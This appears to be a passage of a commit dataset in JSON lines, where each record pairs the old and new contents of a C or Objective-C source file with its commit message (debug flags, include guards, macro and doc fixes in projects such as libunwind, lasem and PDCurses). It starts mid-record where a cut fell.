*\/\n","subject":"Use the class property instead of getter method","message":"Use the class property instead of getter method","lang":"C","license":"mit","repos":"detroit-labs\/IRLSize,detroit-labs\/IRLSize,detroit-labs\/IRLSize"}
{"commit":"ad18456cbcd2a498a259eaefa98d77263a5eebb5","old_file":"src\/gdomdebug.c","new_file":"src\/gdomdebug.c","old_contents":"#include <gdomdebug.h>\n#include <glib\/gprintf.h>\n\nstatic gboolean debug_enabled = FALSE;\n\nvoid\ngdom_debug (char const *format, ...)\n{\n\tva_list args;\n\n\tif (!debug_enabled)\n\t\treturn;\n\n\tva_start (args, format);\n\tg_vprintf (format, args);\n\tg_printf (\"\\n\");\n\tva_end (args);\n}\n\nvoid\ngdom_debug_enable (void)\n{\n\tdebug_enabled = TRUE;\n}\n","new_contents":"#include <gdomdebug.h>\n#include <glib\/gprintf.h>\n#include <stdlib.h>\n\nstatic gboolean debug_checked = FALSE;\nstatic gboolean debug_enabled = FALSE;\n\nstatic gboolean\n_is_debug_enabled ()\n{\n\tconst char *debug_var;\n\n\tif (debug_checked)\n\t\treturn debug_enabled;\n\n\tdebug_var = g_getenv (\"GMATHML_DEBUG\");\n\n\tdebug_enabled = debug_var != NULL ? atoi (debug_var) != 0 : FALSE;\n\n\tdebug_checked = TRUE;\n\n\treturn debug_enabled;\n}\n\nvoid\ngdom_debug (char const *format, ...)\n{\n\tva_list args;\n\n\tif (!_is_debug_enabled())\n\t\treturn;\n\n\tva_start (args, format);\n\tg_vprintf (format, args);\n\tg_printf (\"\\n\");\n\tva_end (args);\n}\n\nvoid\ngdom_debug_enable (void)\n{\n\tdebug_enabled = TRUE;\n\tdebug_checked = TRUE;\n}\n","subject":"Allow debug messages using GMATHML_DEBUG environment variable.","message":"[debug] Allow debug messages using GMATHML_DEBUG environment variable.\n","lang":"C","license":"lgpl-2.1","repos":"wavewave\/lasem,gjtorikian\/lasem,janmarthedal\/mathml2svg,wavewave\/lasem,gjtorikian\/lasem,wavewave\/lasem,janmarthedal\/mathml2svg,wavewave\/lasem,gjtorikian\/lasem,janmarthedal\/mathml2svg,gjtorikian\/lasem,janmarthedal\/mathml2svg"}
{"commit":"7cc016a29a41f110f50f7863e184afef85185aa5","old_file":"tests\/test-static-link-gen.c","new_file":"tests\/test-static-link-gen.c","old_contents":"","new_contents":"\/* libunwind - a platform-independent unwind library\n   Copyright (C) 2004 Hewlett-Packard Co\n\tContributed by David Mosberger-Tang <davidm@hpl.hp.com>\n\nThis file is part of libunwind.\n\nCopyright (c) 2003 Hewlett-Packard Co.\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n\"Software\"), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and\/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\nLIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\nOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\nWITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.  *\/\n\n#include <stdio.h>\n\n#include <libunwind.h>\n\nextern int verbose;\n\nstatic void *funcs[] =\n  {\n    (void *) &unw_get_reg,\n    (void *) &unw_get_fpreg,\n    (void *) &unw_set_reg,\n    (void *) &unw_set_fpreg,\n    (void *) &unw_resume,\n    (void *) &unw_create_addr_space,\n    (void *) &unw_destroy_addr_space,\n    (void *) &unw_get_accessors,\n    (void *) &unw_flush_cache,\n    (void *) &unw_set_caching_policy,\n    (void *) &unw_regname,\n    (void *) &unw_get_proc_info,\n    (void *) &unw_get_save_loc,\n    (void *) &unw_is_signal_frame,\n    (void *) &unw_get_proc_name\n  };\n\nint\ntest_generic (void)\n{\n  unw_cursor_t c;\n\n  if (verbose)\n    printf (__FILE__\": funcs[0]=%p\\n\", funcs[0]);\n\n#ifndef UNW_REMOTE_ONLY\n  {\n    ucontext_t uc;\n\n    unw_getcontext (&uc);\n    unw_init_local (&c, &uc);\n    unw_init_remote (&c, unw_local_addr_space, &uc);\n  }\n  return unw_step (&c);\n#else\n  return 0;\n#endif\n}\n","subject":"Clean it up so it compiles cleanly and works for REMOTE_ONLY case.","message":"(test_generic): Clean it up so it compiles cleanly and works for\n\tREMOTE_ONLY case.\n\n(Logical change 1.158)\n","lang":"C","license":"mit","repos":"ehsan\/libunwind,yuyichao\/libunwind,vtjnash\/libunwind,Chilledheart\/libunwind,olibc\/libunwind,lat\/libunwind,vegard\/libunwind,adsharma\/libunwind,unkadoug\/libunwind,djwatson\/libunwind,cloudius-systems\/libunwind,adsharma\/libunwind,libunwind\/libunwind,jrmuizel\/libunwind,mpercy\/libunwind,geekboxzone\/lollipop_external_libunwind,fdoray\/libunwind,tony\/libunwind,yuyichao\/libunwind,vtjnash\/libunwind,atanasyan\/libunwind-android,unkadoug\/libunwind,android-ia\/platform_external_libunwind,androidarmv6\/android_external_libunwind,lat\/libunwind,fdoray\/libunwind,0xlab\/0xdroid-external_libunwind,djwatson\/libunwind,SyndicateRogue\/libunwind,rogwfu\/libunwind,frida\/libunwind,maltek\/platform_external_libunwind,Keno\/libunwind,rantala\/libunwind,vegard\/libunwind,martyone\/libunwind,adsharma\/libunwind,dropbox\/libunwind,cloudius-systems\/libunwind,frida\/libunwind,frida\/libunwind,evaautomation\/libunwind,krytarowski\/libunwind,CyanogenMod\/android_external_libunwind,0xlab\/0xdroid-external_libunwind,atanasyan\/libunwind-android,fdoray\/libunwind,igprof\/libunwind,igprof\/libunwind,geekboxzone\/mmallow_external_libunwind,pathscale\/libunwind,tronical\/libunwind,jrmuizel\/libunwind,DroidSim\/platform_external_libunwind,atanasyan\/libunwind-android,pathscale\/libunwind,tronical\/libunwind,martyone\/libunwind,atanasyan\/libunwind,olibc\/libunwind,joyent\/libunwind,androidarmv6\/android_external_libunwind,pathscale\/libunwind,joyent\/libunwind,fillexen\/libunwind,yuyichao\/libunwind,fillexen\/libunwind,dropbox\/libunwind,zeldin\/platform_external_libunwind,ehsan\/libunwind,android-ia\/platform_external_libunwind,rntz\/libunwind,maltek\/platform_external_libunwind,dagar\/libunwind,tony\/libunwind,tony\/libunwind,zeldin\/platform_external_libunwind,wdv4758h\/libunwind,mpercy\/libunwind,unkadoug\/libunwind,zeldin\/platform_external_libunwind,project-zerus\/libunwind,rntz\/libunwind,bo-on-software\/libunwind,atanasyan\/libunwind,cms-externals\/libunwind,vegard\/libunwind,dagar\/libunwind,ehsan\/libunwind,DroidSim\/platform_external_libunwind,mpercy\/libunwind,geekboxzone\/lollipop_external_libunwind,cloudius-systems\/libunwind,dreal-deps\/libunwind,android-ia\/platform_external_libunwind,rogwfu\/libunwind,CyanogenMod\/android_external_libunwind,evaautomation\/libunwind,libunwind\/libunwind,dreal-deps\/libunwind,djwatson\/libunwind,zliu2014\/libunwind-tilegx,atanasyan\/libunwind,dagar\/libunwind,wdv4758h\/libunwind,CyanogenMod\/android_external_libunwind,Chilledheart\/libunwind,geekboxzone\/mmallow_external_libunwind,lat\/libunwind,zliu2014\/libunwind-tilegx,project-zerus\/libunwind,geekboxzone\/mmallow_external_libunwind,wdv4758h\/libunwind,maltek\/platform_external_libunwind,tronical\/libunwind,krytarowski\/libunwind,tkelman\/libunwind,bo-on-software\/libunwind,Chilledheart\/libunwind,Keno\/libunwind,DroidSim\/platform_external_libunwind,vtjnash\/libunwind,cms-externals\/libunwind,zliu2014\/libunwind-tilegx,tkelman\/libunwind,olibc\/libunwind,rntz\/libunwind,rantala\/libunwind,fillexen\/libunwind,martyone\/libunwind,jrmuizel\/libunwind,krytarowski\/libunwind,dropbox\/libunwind,cms-externals\/libunwind,Keno\/libunwind,tkelman\/libunwind,rantala\/libunwind,dreal-deps\/libunwind,libunwind\/libunwind,androidarmv6\/android_external_libunwind,rogwfu\/libunwind,0xlab\/0xdroid-external_libunwind,joyent\/libunwind,bo-on-software\/libunwind,geekboxzone\/lollipop_external_libunwind,SyndicateRogue\/libunwind,igprof\/libunwind,evaautomation\/libunwind,project-zerus\/libunwind,SyndicateRogue\/libunwind"}
{"commit":"982c1323303be930ecafb072c7075de0319dd48c","old_file":"src\/starlight.h","new_file":"src\/starlight.h","old_contents":"#pragma once\n#include <string>\n\n#if 0\nint Stricmp(const char* str1, const char* str2) {\n\tint d;\n\twhile ((d = toupper(*str2) - toupper(*str1)) == 0 && *str1) {\n\t\tstr1++;\n\t\tstr2++;\n\t}\n\treturn d;\n}\n\nint Strnicmp(const char* str1, const char* str2, int count) {\n\tint d = 0;\n\twhile (count > 0 && (d = toupper(*str2) - toupper(*str1)) == 0 && *str1) {\n\t\tstr1++; str2++; count--;\n\t}\n\treturn d;\n}\n#endif\n\n#ifdef _MSC_VER\n  #if _MSC_VER >= 1800\n    #define SL_CALL __vectorcall\n  #else\n    #define SL_CALL __cdecl\n  #endif\n#else\n#define SL_CALL\n#endif\n\n#define COUNT_OF(X) (sizeof(X) \/ sizeof((X)[0]))\n#define ZERO_MEM(X, Y) (memset(X, 0, Y));\n\n\/\/ For this to work, at least one .cpp file using this macro\n\/\/ needs to be compiled on _every_ build, otherwise it is outdated.\n#define SL_BUILD_DATE __DATE__ __TIME__\n","new_contents":"#pragma once\n#include <string>\n\n#if 0\nint Stricmp(const char* str1, const char* str2) {\n\tint d;\n\twhile ((d = toupper(*str2) - toupper(*str1)) == 0 && *str1) {\n\t\tstr1++;\n\t\tstr2++;\n\t}\n\treturn d;\n}\n\nint Strnicmp(const char* str1, const char* str2, int count) {\n\tint d = 0;\n\twhile (count > 0 && (d = toupper(*str2) - toupper(*str1)) == 0 && *str1) {\n\t\tstr1++; str2++; count--;\n\t}\n\treturn d;\n}\n#endif\n\n#ifdef _MSC_VER\n  #if _MSC_VER >= 1800\n    #define SL_CALL __vectorcall\n  #else\n    #define SL_CALL __cdecl\n  #endif\n#else\n#define SL_CALL\n#endif\n\n#define COUNT_OF(X) (sizeof(X) \/ sizeof((X)[0]))\n#define ZERO_MEM(X, Y) (memset(X, 0, Y));\n\n\/\/ For this to work, at least one .cpp file using this macro\n\/\/ needs to be compiled on _every_ build, otherwise it is outdated.\n#define SL_BUILD_DATE __DATE__ \" \" __TIME__\n","subject":"Add space between date and time","message":"Add space between date and time\n","lang":"C","license":"mit","repos":"darkedge\/starlight,darkedge\/starlight,darkedge\/starlight"}
{"commit":"d9ee51a1ce04dfe0db1f89c34aa21ebc408ad869","old_file":"input.c","new_file":"input.c","old_contents":"#include \"input.h\"\n\n#include <ctype.h>\n#include <stdio.h>\n#include <string.h>\n\nvoid read_line(char *p)\n{\n    if (fgets(p, MAX_SIZE, stdin) == NULL){\n        p[0] = '\\0';\n        return;\n    }\n    remove_space(p);\n}\n\nint is_exit(const char* p)\n{\n    const char* exit_words[] = {\n        \"exit\",\n        \"quit\",\n    };\n    int len = (int)(sizeof(exit_words) \/ sizeof(char*));\n    int i;\n\n    if (strlen(p) == 0){\n        return (1);\n    }\n    for (i = 0; i < len; i++){\n        if (strcmp(p, exit_words[i]) == 0){\n            return (1);\n        }\n    }\n    return (0);\n}\n\nvoid remove_space(char* p)\n{\n    int i, j;\n\n    i = j = 0;\n    while (p[i] != '\\0'){\n        while (isspace(p[j])){\n            j++;\n        }\n        while (!isspace(p[j])){\n            p[i] = p[j];\n            if (p[i] == '\\0'){\n                break;\n            }\n            else {\n                i++;\n                j++;\n            }\n        }\n    }\n}\n","new_contents":"#include \"input.h\"\n\n#include <ctype.h>\n#include <stdio.h>\n#include <string.h>\n\nvoid read_line(char *p)\n{\n    if (fgets(p, MAX_SIZE, stdin) == NULL){\n        p[0] = '\\0';\n        return;\n    }\n    remove_space(p);\n}\n\nint is_exit(const char* p)\n{\n    const char* exit_words[] = {\n        \"exit\",\n        \"quit\",\n        \"bye\",\n    };\n    int len = (int)(sizeof(exit_words) \/ sizeof(char*));\n    int i;\n\n    if (strlen(p) == 0){\n        return (1);\n    }\n    for (i = 0; i < len; i++){\n        if (strcmp(p, exit_words[i]) == 0){\n            return (1);\n        }\n    }\n    return (0);\n}\n\nvoid remove_space(char* p)\n{\n    int i, j;\n\n    i = j = 0;\n    while (p[i] != '\\0'){\n        while (isspace(p[j])){\n            j++;\n        }\n        while (!isspace(p[j])){\n            p[i] = p[j];\n            if (p[i] == '\\0'){\n                break;\n            }\n            else {\n                i++;\n                j++;\n            }\n        }\n    }\n}\n","subject":"Add bye to exit words","message":"Add bye to exit words\n","lang":"C","license":"mit","repos":"Roadagain\/Calculator,Roadagain\/Calculator"}
{"commit":"0872c7be8541e059241d0bbe89a442a8c4b90215","old_file":"Include\/genobject.h","new_file":"Include\/genobject.h","old_contents":"\n\/* Generator object interface *\/\n\n#ifndef Py_LIMITED_API\n#ifndef Py_GENOBJECT_H\n#define Py_GENOBJECT_H\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nstruct _frame; \/* Avoid including frameobject.h *\/\n\ntypedef struct {\n    PyObject_HEAD\n    \/* The gi_ prefix is intended to remind of generator-iterator. *\/\n\n    \/* Note: gi_frame can be NULL if the generator is \"finished\" *\/\n    struct _frame *gi_frame;\n\n    \/* True if generator is being executed. *\/\n    int gi_running;\n    \n    \/* The code object backing the generator *\/\n    PyObject *gi_code;\n\n    \/* List of weak reference. *\/\n    PyObject *gi_weakreflist;\n} PyGenObject;\n\nPyAPI_DATA(PyTypeObject) PyGen_Type;\n\n#define PyGen_Check(op) PyObject_TypeCheck(op, &PyGen_Type)\n#define PyGen_CheckExact(op) (Py_TYPE(op) == &PyGen_Type)\n\nPyAPI_FUNC(PyObject *) PyGen_New(struct _frame *);\nPyAPI_FUNC(int) PyGen_NeedsFinalizing(PyGenObject *);\nPyAPI_FUNC(int) PyGen_FetchStopIterationValue(PyObject **);\n\n#ifdef __cplusplus\n}\n#endif\n#endif \/* !Py_GENOBJECT_H *\/\n#endif \/* Py_LIMITED_API *\/\n","new_contents":"\n\/* Generator object interface *\/\n\n#ifndef Py_LIMITED_API\n#ifndef Py_GENOBJECT_H\n#define Py_GENOBJECT_H\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nstruct _frame; \/* Avoid including frameobject.h *\/\n\ntypedef struct {\n    PyObject_HEAD\n    \/* The gi_ prefix is intended to remind of generator-iterator. *\/\n\n    \/* Note: gi_frame can be NULL if the generator is \"finished\" *\/\n    struct _frame *gi_frame;\n\n    \/* True if generator is being executed. *\/\n    char gi_running;\n    \n    \/* The code object backing the generator *\/\n    PyObject *gi_code;\n\n    \/* List of weak reference. *\/\n    PyObject *gi_weakreflist;\n} PyGenObject;\n\nPyAPI_DATA(PyTypeObject) PyGen_Type;\n\n#define PyGen_Check(op) PyObject_TypeCheck(op, &PyGen_Type)\n#define PyGen_CheckExact(op) (Py_TYPE(op) == &PyGen_Type)\n\nPyAPI_FUNC(PyObject *) PyGen_New(struct _frame *);\nPyAPI_FUNC(int) PyGen_NeedsFinalizing(PyGenObject *);\nPyAPI_FUNC(int) PyGen_FetchStopIterationValue(PyObject **);\n\n#ifdef __cplusplus\n}\n#endif\n#endif \/* !Py_GENOBJECT_H *\/\n#endif \/* Py_LIMITED_API *\/\n","subject":"Fix regression after c8d1df9ac987 (PPC buildbot)","message":"Fix regression after c8d1df9ac987\n(PPC buildbot)\n","lang":"C","license":"mit","repos":"sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator"}
{"commit":"c2475f236c7da439da5acc27114a92ae9ffe5ef4","old_file":"LYCategory\/Classes\/_UIKit\/UIColor+Speed.h","new_file":"LYCategory\/Classes\/_UIKit\/UIColor+Speed.h","old_contents":"\/\/\n\/\/  UIColor+Speed.h\n\/\/  LYCategory\n\/\/\n\/\/  CREATED BY LUO YU ON 26\/10\/2016.\n\/\/  COPYRIGHT © 2016 LUO YU. ALL RIGHTS RESERVED.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@interface UIColor (Speed)\n\n- (UIColor *)colorWithR:(CGFloat)redValue G:(CGFloat)greenValue B:(CGFloat)blueValue;\n\n@end\n","new_contents":"\/\/\n\/\/  UIColor+Speed.h\n\/\/  LYCategory\n\/\/\n\/\/  CREATED BY LUO YU ON 26\/10\/2016.\n\/\/  COPYRIGHT © 2016 LUO YU. ALL RIGHTS RESERVED.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@interface UIColor (Speed)\n\n\/**\n generate color object with red-green-blue values\n\n @param redValue red color value, 0~255\n @param greenValue green color value, 0~255\n @param blueValue blue color value, 0~255\n @return color object\n *\/\n- (UIColor *)colorWithR:(CGFloat)redValue G:(CGFloat)greenValue B:(CGFloat)blueValue;\n\n@end\n","subject":"Modify : doc for color","message":"Modify : doc for color\n","lang":"C","license":"mit","repos":"blodely\/LYCategory,blodely\/LYCategory,blodely\/LYCategory,blodely\/LYCategory"}
{"commit":"a2a0e6f33f8b84f80a558c382214378fa156ecee","old_file":"findbarcode.c","new_file":"findbarcode.c","old_contents":"#include <stdio.h>\n#include \"stb_image.c\"\n\n#define FILENAME \"wikipedia_barcode.png\"\n\nint main(int argc, char **argv)\n{\n\tint width, height, bytes_per_pixel;\n\tunsigned char *data = stbi_load(FILENAME, &width, &height, &bytes_per_pixel, STBI_default);\n\n    if (data) {\n\t    \/\/ Run through every pixel and print its greyscale value.\n\t\tfor (int row = 0; row < height; row++) {\n\t\t\tint row_offset = row * width;\n\n\t\t\tfor (int col = 0; col < width; col++) {\n\t\t\t\tchar grey = data[row_offset + col];\n\t\t\t\tprintf(\"row %d, col %d: %d\\n\", row, col, grey);\n\t\t\t}\n\t\t}\n\n\t\tstbi_image_free(data);\n\n\t\tprintf(\"width: %d\\nheight: %d\\nbytes per pixel: %d\\n\", width, height, bytes_per_pixel);\n    } else {\n    \tprintf(\"stbi_load() failed with error: \\\"%s\\\"\\n\", stbi_failure_reason());\n    }\n\n\treturn 0;\n}\n","new_contents":"#include <stdio.h>\n#include \"stb_image.c\"\n\n#define FILENAME \"wikipedia_barcode.png\"\n\nint main(int argc, char **argv)\n{\n\tint width, height, bytes_per_pixel;\n\tunsigned char *data = stbi_load(FILENAME, &width, &height, &bytes_per_pixel, STBI_default);\n\n    if (data) {\n\t    \/\/ Run through every pixel and print its greyscale value.\n\t\tfor (int row = 0; row < height; row++) {\n\t\t\tint row_offset = row * width;\n\n\t\t\tfor (int col = 0; col < width; col++) {\n\t\t\t\tchar grey = data[row_offset + col];\n\t\t\t\tprintf(\"row %d, col %d: %u\\n\", row, col, grey);\n\t\t\t}\n\t\t}\n\n\t\tstbi_image_free(data);\n\n\t\tprintf(\"width: %d\\nheight: %d\\nbytes per pixel: %d\\n\", width, height, bytes_per_pixel);\n    } else {\n    \tprintf(\"stbi_load() failed with error: \\\"%s\\\"\\n\", stbi_failure_reason());\n    }\n\n\treturn 0;\n}\n","subject":"Print grey pixel value as unsigned","message":"Print grey pixel value as unsigned\n","lang":"C","license":"mit","repos":"jakeboxer\/findbarcode"}
{"commit":"2c1b1a2343f5882ee6f98328ff391478d0d58c23","old_file":"src\/3rdparty\/win32_src\/pdcurses\/wincon\/pdcwin.h","new_file":"src\/3rdparty\/win32_src\/pdcurses\/wincon\/pdcwin.h","old_contents":"\/* PDCurses *\/\n\n#if defined(_MSC_VER) && !defined(_CRT_SECURE_NO_DEPRECATE)\n# define _CRT_SECURE_NO_DEPRECATE 1   \/* kill nonsense warnings *\/\n#endif\n\n#if defined(_MSC_VER) && !defined(_CRT_SECURE_NO_DEPRECATE)\n# define _CRT_SECURE_NO_DEPRECATE 1   \/* kill nonsense warnings *\/\n#endif\n\n#if defined(PDC_WIDE) && !defined(UNICODE)\n# define UNICODE\n#endif\n\n#define WIN32_LEAN_AND_MEAN\n#include <windows.h>\n#undef MOUSE_MOVED\n#include <curspriv.h>\n\ntypedef struct {short r, g, b; bool mapped;} PDCCOLOR;\n\nextern PDCCOLOR pdc_color[PDC_MAXCOL];\n\nextern HANDLE pdc_con_out, pdc_con_in;\nextern DWORD pdc_quick_edit;\nextern DWORD pdc_last_blink;\nextern short pdc_curstoreal[16], pdc_curstoansi[16];\nextern short pdc_oldf, pdc_oldb, pdc_oldu;\nextern bool pdc_conemu, pdc_wt, pdc_ansi;\n\nextern void PDC_blink_text(void);\n","new_contents":"\/* PDCurses *\/\n\n#ifndef __PDC_WIN_H__\n#define __PDC_WIN_H__\n\n#if defined(_MSC_VER) && !defined(_CRT_SECURE_NO_DEPRECATE)\n# define _CRT_SECURE_NO_DEPRECATE 1   \/* kill nonsense warnings *\/\n#endif\n\n#if defined(_MSC_VER) && !defined(_CRT_SECURE_NO_DEPRECATE)\n# define _CRT_SECURE_NO_DEPRECATE 1   \/* kill nonsense warnings *\/\n#endif\n\n#if defined(PDC_WIDE) && !defined(UNICODE)\n# define UNICODE\n#endif\n\n#define WIN32_LEAN_AND_MEAN\n#include <windows.h>\n#undef MOUSE_MOVED\n#include <curspriv.h>\n\ntypedef struct {short r, g, b; bool mapped;} PDCCOLOR;\n\nextern PDCCOLOR pdc_color[PDC_MAXCOL];\n\nextern HANDLE pdc_con_out, pdc_con_in;\nextern DWORD pdc_quick_edit;\nextern DWORD pdc_last_blink;\nextern short pdc_curstoreal[16], pdc_curstoansi[16];\nextern short pdc_oldf, pdc_oldb, pdc_oldu;\nextern bool pdc_conemu, pdc_wt, pdc_ansi;\n\nextern void PDC_blink_text(void);\n\n#endif","subject":"Add include guard to fix wincon compile.","message":"Add include guard to fix wincon compile.\n","lang":"C","license":"bsd-3-clause","repos":"clangen\/musikcube,clangen\/musikcube,clangen\/musikcube,clangen\/musikcube,clangen\/musikcube,clangen\/musikcube,clangen\/musikcube,clangen\/musikcube"}
{"commit":"0f034d699c77ae4c7c989bf41405ff1b433e37ca","old_file":"core\/base\/inc\/LinkDef.h","new_file":"core\/base\/inc\/LinkDef.h","old_contents":"#include \"core\/base\/inc\/LinkDef1.h\"\n#include \"core\/base\/inc\/LinkDef2.h\"\n#include \"core\/base\/inc\/LinkDef3.h\"\n#include \"core\/clib\/inc\/LinkDef.h\"\n#include \"core\/cont\/inc\/LinkDef.h\"\n#include \"core\/meta\/inc\/LinkDef.h\"\n#include \"core\/metautils\/inc\/LinkDef.h\"\n#include \"core\/textinput\/inc\/LinkDef.h\"\n#include \"core\/zip\/inc\/LinkDef.h\"\n\n#if defined(SYSTEM_TYPE_winnt)\n#include \"core\/winnt\/inc\/LinkDef.h\"\n#elif defined(SYSTEM_TYPE_macosx)\n#include \"core\/macosx\/inc\/LinkDef.h\"\n#include \"core\/unix\/inc\/LinkDef.h\"\n#else\n#include \"core\/unix\/inc\/LinkDef.h\"\n#endif\n","new_contents":"#include \"core\/base\/inc\/LinkDef1.h\"\n#include \"core\/base\/inc\/LinkDef2.h\"\n#include \"core\/base\/inc\/LinkDef3.h\"\n#include \"core\/clib\/inc\/LinkDef.h\"\n#include \"core\/cont\/inc\/LinkDef.h\"\n#include \"core\/meta\/inc\/LinkDef.h\"\n#include \"core\/metautils\/inc\/LinkDef.h\"\n#include \"core\/textinput\/inc\/LinkDef.h\"\n#include \"core\/zip\/inc\/LinkDef.h\"\n\n#if defined(SYSTEM_TYPE_winnt)\n#include \"core\/winnt\/inc\/LinkDef.h\"\n#elif defined(SYSTEM_TYPE_macosx)\n#include \"core\/macosx\/inc\/LinkDef.h\"\n#include \"core\/unix\/inc\/LinkDef.h\"\n#elif defined(SYSTEM_TYPE_unix)\n#include \"core\/unix\/inc\/LinkDef.h\"\n#else\n# error \"Unsupported system type.\"\n#endif\n","subject":"Verify that one of SYSTEM_TYPE_... is set.","message":"Verify that one of SYSTEM_TYPE_... is set.\n","lang":"C","license":"lgpl-2.1","repos":"agarciamontoro\/root,abhinavmoudgil95\/root,abhinavmoudgil95\/root,buuck\/root,beniz\/root,BerserkerTroll\/root,BerserkerTroll\/root,beniz\/root,beniz\/root,davidlt\/root,simonpf\/root,agarciamontoro\/root,gganis\/root,davidlt\/root,karies\/root,olifre\/root,zzxuanyuan\/root-compressor-dummy,simonpf\/root,gbitzes\/root,BerserkerTroll\/root,zzxuanyuan\/root-compressor-dummy,beniz\/root,zzxuanyuan\/root,zzxuanyuan\/root,satyarth934\/root,gbitzes\/root,simonpf\/root,buuck\/root,BerserkerTroll\/root,bbockelm\/root,gbitzes\/root,gbitzes\/root,davidlt\/root,zzxuanyuan\/root-compressor-dummy,zzxuanyuan\/root-compressor-dummy,abhinavmoudgil95\/root,olifre\/root,mhuwiler\/rootauto,zzxuanyuan\/root-compressor-dummy,davidlt\/root,buuck\/root,abhinavmoudgil95\/root,gganis\/root,karies\/root,zzxuanyuan\/root-compressor-dummy,olifre\/root,satyarth934\/root,mhuwiler\/rootauto,BerserkerTroll\/root,root-mirror\/root,agarciamontoro\/root,zzxuanyuan\/root-compressor-dummy,zzxuanyuan\/root-compressor-dummy,zzxuanyuan\/root,simonpf\/root,mhuwiler\/rootauto,buuck\/root,zzxuanyuan\/root,olifre\/root,beniz\/root,zzxuanyuan\/root,BerserkerTroll\/root,root-mirror\/root,davidlt\/root,root-mirror\/root,olifre\/root,simonpf\/root,mhuwiler\/rootauto,bbockelm\/root,satyarth934\/root,abhinavmoudgil95\/root,abhinavmoudgil95\/root,zzxuanyuan\/root-compressor-dummy,davidlt\/root,abhinavmoudgil95\/root,BerserkerTroll\/root,olifre\/root,buuck\/root,zzxuanyuan\/root,satyarth934\/root,simonpf\/root,agarciamontoro\/root,satyarth934\/root,mhuwiler\/rootauto,gbitzes\/root,bbockelm\/root,bbockelm\/root,root-mirror\/root,root-mirror\/root,root-mirror\/root,agarciamontoro\/root,BerserkerTroll\/root,mhuwiler\/rootauto,BerserkerTroll\/root,zzxuanyuan\/root,beniz\/root,gganis\/root,root-mirror\/root,olifre\/root,gganis\/root,bbockelm\/root,abhinavmoudgil95\/root,bbockelm\/root,agarciamontoro\/root,beniz\/root,agarciamontoro\/root,gganis\/root,karies\/root,abhinavmoudgil95\/root,simonpf\/root,buuck\/root,simonpf\/root,zzxuanyuan\/root,zzxuanyuan\/root,mhuwiler\/rootauto,bbockelm\/root,agarciamontoro\/root,karies\/root,davidlt\/root,gbitzes\/root,gganis\/root,satyarth934\/root,agarciamontoro\/root,satyarth934\/root,gganis\/root,bbockelm\/root,karies\/root,root-mirror\/root,buuck\/root,buuck\/root,beniz\/root,olifre\/root,gganis\/root,buuck\/root,bbockelm\/root,karies\/root,olifre\/root,davidlt\/root,bbockelm\/root,root-mirror\/root,gbitzes\/root,buuck\/root,gbitzes\/root,gganis\/root,agarciamontoro\/root,satyarth934\/root,karies\/root,mhuwiler\/rootauto,buuck\/root,simonpf\/root,karies\/root,gganis\/root,davidlt\/root,gbitzes\/root,olifre\/root,zzxuanyuan\/root-compressor-dummy,zzxuanyuan\/root,davidlt\/root,root-mirror\/root,davidlt\/root,gbitzes\/root,satyarth934\/root,gganis\/root,mhuwiler\/rootauto,karies\/root,simonpf\/root,BerserkerTroll\/root,beniz\/root,mhuwiler\/rootauto,satyarth934\/root,beniz\/root,bbockelm\/root,zzxuanyuan\/root-compressor-dummy,abhinavmoudgil95\/root,karies\/root,mhuwiler\/rootauto,beniz\/root,zzxuanyuan\/root,simonpf\/root,root-mirror\/root,satyarth934\/root,abhinavmoudgil95\/root,BerserkerTroll\/root,zzxuanyuan\/root,agarciamontoro\/root,olifre\/root,gbitzes\/root,karies\/root"}
{"commit":"c28b765893ed505ac62864c9d4ce67cd4f9b9fc0","old_file":"include\/bl2\/bl2.h","new_file":"include\/bl2\/bl2.h","old_contents":"\/*\n * Copyright (c) 2018, ARM Limited and Contributors. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#ifndef BL2_H__\n#define BL2_H__\n\nstruct entry_point_info;\n\nvoid bl2_main(void);\nstruct entry_point_info *bl2_load_images(void);\n\n#endif \/* BL2_H__ *\/\n","new_contents":"\/*\n * Copyright (c) 2018, ARM Limited and Contributors. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#ifndef BL2_H__\n#define BL2_H__\n\nvoid bl2_main(void);\n\n#endif \/* BL2_H__ *\/\n","subject":"Fix MISRA rule 8.5 in common code","message":"Fix MISRA rule 8.5 in common code\n\nRule 8.5: An external object or function shall be declared\n          once in one and only one file.\n\nChange-Id: I7c3d4ec7d3ba763fdb4600008ba10b4b93ecdfce\nSigned-off-by: Roberto Vargas <d75e640c49defb97bd074f828210df57ed181e1f@arm.com>\n","lang":"C","license":"bsd-3-clause","repos":"achingupta\/arm-trusted-firmware,achingupta\/arm-trusted-firmware"}
